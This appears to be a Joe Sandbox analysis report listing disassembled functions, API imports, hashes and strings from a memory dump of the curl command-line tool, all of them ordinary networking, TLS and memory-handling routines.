Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: Cannot SELECT without a mailbox.$SELECT %s
API String ID: 1294909896-2454231232
Opcode ID: 5a2442d5b0ef87d0013b94ed9ecf27134dd8c218ef2ca593179291e51f00f020
Instruction ID: 9542d0790eb45d0277938e777073d4ce78edb30c0cc0f2a88e1d4f282f79d565
Opcode Fuzzy Hash: 5a2442d5b0ef87d0013b94ed9ecf27134dd8c218ef2ca593179291e51f00f020
Instruction Fuzzy Hash: C6110832700615EFEB145B18EC49F69B7B9FF96724F14416AE905E7391DBB0AC008BD4

Function 00868EEC Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 008721C0: FreeLibrary.KERNELBASE(00000000,?,00868EF6), ref: 00872208
Part of subcall function 008721C0: WSACleanup.WS2_32 ref: 00872227

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00868EF9
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 00868F13
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 00868F2B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00868F38
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00868F57

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$fclose$CleanupFreeLibrary
String ID:
API String ID: 3795980997-0
Opcode ID: d7b68b2990a341a0ea80f7df10f8a4395a32e27e1bfed0da6c6d09c26d5b5c87
Instruction ID: 87af97b9c2717488395890e675253228b370d234ab970131af40de056b212557
Opcode Fuzzy Hash: d7b68b2990a341a0ea80f7df10f8a4395a32e27e1bfed0da6c6d09c26d5b5c87
Instruction Fuzzy Hash: 80014071602E22EFC7125F55E844609FB71FF08B62715432BF50896A51CF71B8A4CBD0

Function 008687A3 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000000,00000000,0086D880), ref: 008687AC
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000002,?), ref: 008687B4
_getch.API-MS-WIN-CRT-CONIO-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000002,?), ref: 008687C4
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000002), ref: 008687EF
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(008B7668,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 008687FB

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __acrt_iob_funcfputs$_getch
String ID:
API String ID: 3073499726-0
Opcode ID: 2aba833417e031a1572183c95ded53af59b08edcbc0aa577ab778093153bf101
Instruction ID: 0e34471ee01a8afcd6424207566723c4981f54ea1ef61853718fd34a6ee77b05
Opcode Fuzzy Hash: 2aba833417e031a1572183c95ded53af59b08edcbc0aa577ab778093153bf101
Instruction Fuzzy Hash: DCF0FC33940751D7C730232C6C0DBEAAB94FF96709F2A0336E599D2351D9994C4643AA

Function 00863A80 Relevance: 7.5, APIs: 6, Instructions: 37COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,008629A6), ref: 00863AA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,008629A6), ref: 00863AB1
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,008629A6), ref: 00863ABD
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,008629A6), ref: 00863AC9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,008629A6), ref: 00863AD5
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,008629A6), ref: 00863AE7

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c784e7cad9b39850965725126d146eb3989cc25654bce7ada61ec1aa09a80c0e
Instruction ID: 815f1d2ba4d9c36a933d21f27f7e9870470a9d1a2edfb10f16752aa87010a1e3
Opcode Fuzzy Hash: c784e7cad9b39850965725126d146eb3989cc25654bce7ada61ec1aa09a80c0e
Instruction Fuzzy Hash: FD012C35503F109FC6715F95E848A2EBBF1FF883023018A0DE88796A61C730A515AF91

Function 0086C72B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 278COMMON

Download Yara Rule

APIs

Part of subcall function 0087027A: QueryPerformanceCounter.API-MS-WIN-CORE-PROFILE-L1-1-0(?,?,?,?,?,?,008610B6), ref: 0087028E
Part of subcall function 0087027A: __alldvrm.LIBCMT ref: 008702A7
Part of subcall function 0087027A: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008702D1

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000), ref: 0086C75B

Part of subcall function 00876BA2: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,0000038F,?,0086C775), ref: 00876BC3
Part of subcall function 00876BA2: WSACreateEvent.WS2_32 ref: 00876C4D

Strings

Transfer aborted due to critical error in another transfer, xrefs: 0086C87D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: CounterCreateEventPerformanceQueryUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@_time64calloc
String ID: Transfer aborted due to critical error in another transfer
API String ID: 934473979-1939301410
Opcode ID: 316614a98c198b53d830f37d1ed4cf8e8c52ede8a799f83935cce44662564f96
Instruction ID: 41c5bdecbbeda4428b2a08cca2c1861a4b84e4618d66f38642018f3f82c1e673
Opcode Fuzzy Hash: 316614a98c198b53d830f37d1ed4cf8e8c52ede8a799f83935cce44662564f96
Instruction Fuzzy Hash: 9AA1BD71D002199BCF15DBA8C448BFEBBB1FB49304F1A81A9D895E7341DB709E05CB90

Function 0088EA06 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 212COMMON

Download Yara Rule

APIs

inet_pton.WS2_32(00000002,?,?), ref: 0088EAE7
inet_pton.WS2_32(00000017,?,?), ref: 0088EB16

Strings

localhost, xrefs: 0088EB5B
Hostname %s was found in DNS cache, xrefs: 0088EA68

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: inet_pton
String ID: Hostname %s was found in DNS cache$localhost
API String ID: 1350483568-3522642687
Opcode ID: c7ac4ef3514440a16f40262c75c3fd9cc0cbf9fd84ca578632a078ba1b2d18d8
Instruction ID: 864c28aaac07a428f792737e4ba6eee13114c8538e79c4b0801cb754107b5643
Opcode Fuzzy Hash: c7ac4ef3514440a16f40262c75c3fd9cc0cbf9fd84ca578632a078ba1b2d18d8
Instruction Fuzzy Hash: 8B61C431E042199BDF25AF68C895AEEBBE6FF48320F14412AE815F7291DB309D41CB91

Function 008700C4 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 166stringCOMMON

Download Yara Rule

APIs

strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,0000000A), ref: 0087012E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,internal error: invalid pattern type (%d),?), ref: 00870224

Strings

internal error: invalid pattern type (%d), xrefs: 0087021D
%0*lu, xrefs: 0087018E

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __acrt_iob_funcstrtoul
String ID: %0*lu$internal error: invalid pattern type (%d)
API String ID: 673873880-449433499
Opcode ID: 6c09b19c644e9bf8e1141f8493ee1f17131f0bc4d08ed55a2f1a477889af6696
Instruction ID: 46eef6b46685b68e5ba1a4bcbe0aa8a5b0e4e4566339b0e223ce54ff88924da7
Opcode Fuzzy Hash: 6c09b19c644e9bf8e1141f8493ee1f17131f0bc4d08ed55a2f1a477889af6696
Instruction Fuzzy Hash: A751A035A04209DBCF19CF68D894AEEBBB1FF49350F548169E84AE7386DA70D905CE60

Function 008986B6 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 164COMMON

Download Yara Rule

APIs

recvfrom.WS2_32(?,?,?,00000000,?,?), ref: 00898704

Strings

Internal error: Unexpected packet, xrefs: 008988AB
TFTP error: %s, xrefs: 00898819
Received too short packet, xrefs: 0089874C

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: recvfrom
String ID: Internal error: Unexpected packet$Received too short packet$TFTP error: %s
API String ID: 846543921-343195773
Opcode ID: ca36b9d729fb68850e42ec763b0cbb634247387b987b83c39f5ecc4cb044065f
Instruction ID: 151894641bc718216ce55baeff3c5bc996c0eaec45310bbce4012d36a9f24363
Opcode Fuzzy Hash: ca36b9d729fb68850e42ec763b0cbb634247387b987b83c39f5ecc4cb044065f
Instruction Fuzzy Hash: 5D51D671600516DFDF18AA388C95BB9F7E5FB45310F088279E45EE6282DF34E9408BA0

Function 0086E9EB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000000,00000000,blobpointer,?,?,?,?,?,?,?,?), ref: 0086EA46
isprint.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?), ref: 0086EAF7

Strings

\x%02x, xrefs: 0086EB05
blobpointer, xrefs: 0086E9F1

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: isprintmalloc
String ID: \x%02x$blobpointer
API String ID: 3792030756-13518461
Opcode ID: 82abc8bed5f294514693c0e221134c8662d3476c30ee0ab71d2ef8dba7b79631
Instruction ID: 78235534a5361d8e802658c019c7a3ae920c3204bb419b1f4bf4a58d12476b6f
Opcode Fuzzy Hash: 82abc8bed5f294514693c0e221134c8662d3476c30ee0ab71d2ef8dba7b79631
Instruction Fuzzy Hash: C241493DA002569EDF249FA8D840BEDBBB2FF25324F29416EE4A5D3382D2304D41CB14

Function 0086F653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

realloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?), ref: 0086F70B
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004), ref: 0086F738
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0086F750

Strings

out of memory, xrefs: 0086F7CA

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strdupmallocrealloc
String ID: out of memory
API String ID: 178021264-2599737071
Opcode ID: 497ae5ed91a98ed08b57b122337597105a74fd92410487980972df21c0b9dc3c
Instruction ID: 2cbaa248f757529223977ad2a5a6db8476e389c1379822c02964e8789fa3e42b
Opcode Fuzzy Hash: 497ae5ed91a98ed08b57b122337597105a74fd92410487980972df21c0b9dc3c
Instruction Fuzzy Hash: 5751ACB8504246CFDB14CF78E494BA6BBF0FB06308F1980AADA4ACB352D770D905CB50

Function 008753E9 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,00875BA6,00000001), ref: 00875428
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00875BA6,00000001), ref: 0087543B

Strings

0Lu@Ru@/Mu, xrefs: 0087543B
%u.%u.%u.%u, xrefs: 00875526

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errnostrtoul
String ID: %u.%u.%u.%u$0Lu@Ru@/Mu
API String ID: 660391088-3973687180
Opcode ID: 85cc4acebbe1c011d956d4de1f3fb4c49073f1dc8eb2fbdbdeacff9704fa2adc
Instruction ID: 31e60998f2975b6025ec3b1218e7fa73103088e4e1b01658d1685e11223b124c
Opcode Fuzzy Hash: 85cc4acebbe1c011d956d4de1f3fb4c49073f1dc8eb2fbdbdeacff9704fa2adc
Instruction Fuzzy Hash: D04116B1C0050AABCB249BA8E8145BEB7B6FB05319F54817EE01DE2285D6F4CE41DB65

Function 008A6451 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 108encryptionCOMMON

Download Yara Rule

APIs

CertFreeCertificateContext.CRYPT32(00000000), ref: 008A657A

Strings

SSL: failed retrieving public key from server certificate, xrefs: 008A654C
SSL: public key does not match pinned public key, xrefs: 008A653D
schannel: Failed to read remote certificate context: %s, xrefs: 008A6561

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: CertCertificateContextFree
String ID: SSL: failed retrieving public key from server certificate$SSL: public key does not match pinned public key$schannel: Failed to read remote certificate context: %s
API String ID: 3080675121-2322844371
Opcode ID: 60ae10e2ba5f048fac9b8877c8f17429dfd79fda6256fa25c762c784688d90fb
Instruction ID: 59ae28a73b3f9a232d000a8fed5570e395f99ce74cade037781cf93363077d91
Opcode Fuzzy Hash: 60ae10e2ba5f048fac9b8877c8f17429dfd79fda6256fa25c762c784688d90fb
Instruction Fuzzy Hash: AB31B031F0020A9BEB18DB28DC56BAE77B5FF46714F0840A9E509D7689FA70ED448F51

Function 00884C99 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 103stringCOMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00884D4E
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,0000000A), ref: 00884D65

Strings

%s%s%s, xrefs: 00884CE5

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchrstrtol
String ID: %s%s%s
API String ID: 614545126-3094730333
Opcode ID: b9146c0252155ca43d3d38780e9d85994ec0290a8c9ecd8fb0dcd701a934661b
Instruction ID: c3315c53e25c53b3633425960b6cf70a0ebda5b40dc8dd0aee66d15afef8bfb6
Opcode Fuzzy Hash: b9146c0252155ca43d3d38780e9d85994ec0290a8c9ecd8fb0dcd701a934661b
Instruction Fuzzy Hash: 74310136A04246EFDF15EF98D840AADBFA5FF81324F2481A9E845DB341D7709E01CB40

Function 008619B1 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

fputs.API-MS-WIN-CRT-STDIO-L1-1-0(00000023,?,?,00000100,%*s,?,008B6DB0), ref: 00861A92

Strings

%*s, xrefs: 008619DB
-=O=-, xrefs: 008619F4
#, xrefs: 00861A83

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: fputs
String ID: #$%*s$-=O=-
API String ID: 1795875747-742414071
Opcode ID: 07bb768e633ed8745dc3881b4e5d97accb9885f30671a19115badeafd9b95144
Instruction ID: 61426209769d9944e47717770f7611a01a5662314ed2e15e03bd779ed1b7f488
Opcode Fuzzy Hash: 07bb768e633ed8745dc3881b4e5d97accb9885f30671a19115badeafd9b95144
Instruction Fuzzy Hash: B141D1707045448FDB44CF6CD888AD577E6FB58310F2C86AAD889C7386E7B4E9A4CB50

Function 008822EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00882326
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00882383

Strings

Too old connection (%ld seconds idle), disconnect it, xrefs: 00882342
Too old connection (%ld seconds since creation), disconnect it, xrefs: 008823A3

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: Too old connection (%ld seconds idle), disconnect it$Too old connection (%ld seconds since creation), disconnect it
API String ID: 885266447-3566769605
Opcode ID: e16c9bf7d76a7fae3c06e6599e075d1720916c6468a0fb11efd507e02bfad12e
Instruction ID: 815f0f51a29beee81648565190568b5ba3d602e1bc4d74a04543641bb636987d
Opcode Fuzzy Hash: e16c9bf7d76a7fae3c06e6599e075d1720916c6468a0fb11efd507e02bfad12e
Instruction Fuzzy Hash: 15112973A00A0067DB15FD2D4D56BAB36AAFF56310F1500B4BD2DEF351E4A69D0103D2

Function 00868598 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 008685D1
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0086861E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086864D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000310), ref: 0086867C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 008686F7
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00868795

Strings

option %s: %s, xrefs: 0086876D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$_strdup$malloc
String ID: option %s: %s
API String ID: 854390910-1899588186
Opcode ID: d9c9a0c5ce1ac00b5fd270b29d0d8718a0936150288373508b70ecbc346bc0bc
Instruction ID: 8a2dbab88f4c739ef671b1918f85f496ab8cdad61d1933d82490ee2d91ec39a1
Opcode Fuzzy Hash: d9c9a0c5ce1ac00b5fd270b29d0d8718a0936150288373508b70ecbc346bc0bc
Instruction Fuzzy Hash: 3A210A31D08154EFCB329B6884597BEBFE5FF11310F26429AD5DDE6252CFB048818751

Function 00870320 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

__alldvrm.LIBCMT ref: 00870367

Strings

%I64u.%06I64u, xrefs: 008703A8
"%s":, xrefs: 00870388
"%s":null, xrefs: 008703C2

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __alldvrm
String ID: "%s":$"%s":null$%I64u.%06I64u
API String ID: 65215352-1521088119
Opcode ID: 51f74fac272ede40bbd3b53dcc22335afb5b4a978d0cb3760da5b84c11cfedc8
Instruction ID: 853ea0ce8bbe47da31220b0b8c4433a292625b27faa2a58e4702b84b6ce14819
Opcode Fuzzy Hash: 51f74fac272ede40bbd3b53dcc22335afb5b4a978d0cb3760da5b84c11cfedc8
Instruction Fuzzy Hash: 27119371508304AFD711DF58DC42E57BBE9FF55318F148529F8A8D2261E371DA608B92

Function 008709FA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67stringCOMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 00870A07
strtoll.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?), ref: 00870A4D
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 00870A65

Strings

0Lu@Ru@/Mu, xrefs: 00870A07, 00870A65

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errno$strtoll
String ID: 0Lu@Ru@/Mu
API String ID: 146016610-1923536700
Opcode ID: 067acdae0471363f7fb488055590290c1a9f27c101be3af1758cba00f1b2f7cc
Instruction ID: 67c636b00d0d6e223854b8b2f1c837c6efc3fcbb8989cc6b39117898fc521b0d
Opcode Fuzzy Hash: 067acdae0471363f7fb488055590290c1a9f27c101be3af1758cba00f1b2f7cc
Instruction Fuzzy Hash: 4F115B75904329EFCB259F6894806A9FBF5FF5A344F14C065E899DB309D672C9088F50

